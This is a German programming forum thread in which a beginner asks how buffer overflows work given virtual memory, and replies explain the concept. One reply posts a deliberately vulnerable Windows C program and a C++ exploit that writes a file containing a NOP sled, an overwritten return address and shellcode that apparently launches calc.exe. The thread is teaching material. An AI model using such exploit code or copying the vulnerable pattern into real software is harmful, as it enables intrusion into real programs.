Frage zu BufferOverflows



  • Hi,

    Ich bin noch sehr grün hinter den Ohren und habe daher eine, vermutlich banale frage.
    Ich habe das so verstanden das jedes Programm seinen eigenen virtuellen Speicher zu geordnet bekommt. Es wird also nicht mit realen Adressen sondern mir virtuellen gearbeitet die dann von der mmu "übersetzt" werden.

    Jetzt stellt sich mir die Frage wie ich per Bufferoverflow in den Speicher eines anderen Programm "einbrechen", bzw aus dem Speicher eines Programms "ausbrechen" kann, wo ich doch nur mit virtuellen Adressen arbeite. Also selbst wenn ich die Rücksprungadresse überschreibe, Adressiere ich doch damit wieder nur in "meinem" virtuellen Bereich oder ? (Keine Frage nach Code, sondern nach einer Erklärung)

    Vlt. sind die Adressen die ich beimn Debuggen sehe jedoch auch schon physisch ?

    Ich hab im Netz einige Tutorials und Beispiele durchgelesen, aber diese grundlegende Frage wird mir nirgends beantwortet.

    Vielen Dank schon mal !


  • Mod

    patmast3r schrieb:

    Hi,

    Ich bin noch sehr grün hinter den Ohren und habe daher eine, vermutlich banale frage.
    Ich habe das so verstanden das jedes Programm seinen eigenen virtuellen Speicher zu geordnet bekommt. Es wird also nicht mit realen Adressen sondern mir virtuellen gearbeitet die dann von der mmu "übersetzt" werden.

    Das kommt drauf an, wo dein Programm läuft. Aber wenn es irgendein modernes Betriebssystem ist, dann ja.

    Jetzt stellt sich mir die Frage wie ich per Bufferoverflow in den Speicher eines anderen Programm "einbrechen", bzw aus dem Speicher eines Programms "ausbrechen" kann, wo ich doch nur mit virtuellen Adressen arbeite. Also selbst wenn ich die Rücksprungadresse überschreibe, Adressiere ich doch damit wieder nur in "meinem" virtuellen Bereich oder ? (Keine Frage nach Code, sondern nach einer Erklärung)

    Das kannst du nicht. Das ist einer der Hauptzwecke dieser Technik.

    Vlt. sind die Adressen die ich beimn Debuggen sehe jedoch auch schon physisch ?

    Nein. Dein Programm und dein Debugger können die physische Adresse nicht sehen, die steckt irgendwo tief in der Speicherverwaltungseinheit des Systems.



  • patmast3r schrieb:

    Jetzt stellt sich mir die Frage wie ich per Bufferoverflow in den Speicher eines anderen Programm "einbrechen", bzw aus dem Speicher eines Programms "ausbrechen" kann, wo ich doch nur mit virtuellen Adressen arbeite.

    Gar nicht. Man greift das Programm an, das die Lücke hat.



  • patmast3r schrieb:

    bzw aus dem Speicher eines Programms "ausbrechen" kann,

    Hallo, hier ein ganz einfaches Beispiel:

    Verwundbares Programm:

    #include <windows>
    
    int main()
    {
    HANDLE hfile;
    DWORD nbt=0;
    
    char buf[10];
    
    DWORD ret_size;
    LPDWORD size = 0;
    
    hfile =   CreateFile  ( "info.txt", GENERIC_READ , FILE_SHARE_READ , 0,  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );
    ret_size = GetFileSize ( hfile , size );
    
    ReadFile( hfile , buf , 100  ,&nbt , NULL );
    
    return 0;
    }
    

    Exploit ( In C++ bin zu faul zum abändern^^):

    #include <iostream>
    #include <fstream>
    using namespace std;
    
    int main(int argc, char* argv[])
    {
    
    char buf[]  =    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 10 byte
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 10 byte
    
                     "\x90\x90\x90\x90" 
                     "\xA0\xFF\x12\x00"   // adresse an der der shellcode im speicher steht 4 byte
    
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 10 byte
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 10 byte
    
                    "\xeb\x0c\x5b\x31\xc0\x50\x53\xbb\x0d\x25\x86"
                    "\x7c\xff\xd3\xe8\xef\xff\xff\xff\x63\x61\x6c"
                    "\x63\x2e\x65\x78\x65\x00"  // 27 byte shellcode
                    ;
    
                    // Insgesamt: 75 byte
    
    ofstream file ("EineDatei.txt");
    
            file.write (  buf , sizeof(buf) );
            file.close();
    
            return 0;
    }
    //---------------------------------------------------------------------------
    

    (Btw. der Shellcode hier ist statisch wenn du nicht weiss was das heißt dann schau mal hier: www.projectshellcode.com )

    Das Verwundbare Programm ließt die Datei ein welche vom Exploit erstellt wurde.
    In meinem Falls befindet sich an Adresse: \xA0\xFF\x12\x00 ( 0012FFA0 ) mein Shellcode auf dem Stack. Der EIP muss also auf 0012FFA0 zeigen. (Das geschieht ja durch den Bufferoverflow)

    Du kannst auch folgendes machen:

    Adresse auf die retn am Ende zeigt - Adresse vom Buffer + 4 = Anzahl der Bytes die du für den Überlauf brauchst.

    Schau dir einfach mal den Stack in einem deiner bevorzugten Debugger an.



  • Ich verstehe!
    Man bricht also nicht wirklich aus dem Speicher aus, sondern "injected" Code in den virtuellen Speicher, des anfälligen Programms und überschreibt dann die Rücksprungsadresse so das dieser auch ausgeführt wird.
    Das hab ich dann wohl bisher falsch verstanden. Ich dachte man bricht aus dem Speicherbereich aus um Code der ausserhalb liegt auszuführen.

    Danke für die Antworten und vor allem für das Beispiel.



  • Vor ein paar Jahren oder so habe ich dazu glaub ich auch mal ein Tutorial geschrieben und ein Video gemacht.^^

    Wenn ich zuhause bin und dran denke schau ich mal ob ich das noch habe dann kann ich es dir zuschicken.



  • Bassmaster schrieb:

    Vor ein paar Jahren oder so habe ich dazu glaub ich auch mal ein Tutorial geschrieben und ein Video gemacht.^^

    Wenn ich zuhause bin und dran denke schau ich mal ob ich das noch habe dann kann ich es dir zuschicken.

    Das wär natürlich nice 😉



  • Dank ASLR und DEP funktioniert diese Methode, genau wie return to libc&Co, nur noch in wenigen Fällen.



  • ASLR, DEP libc gedöns das alles ist auch kein 100%iger Schutz ...

    Das hier könnte interessant sein: http://www.exploit-db.com/wp-content/themes/exploit/docs/17914.pdf


Log in to reply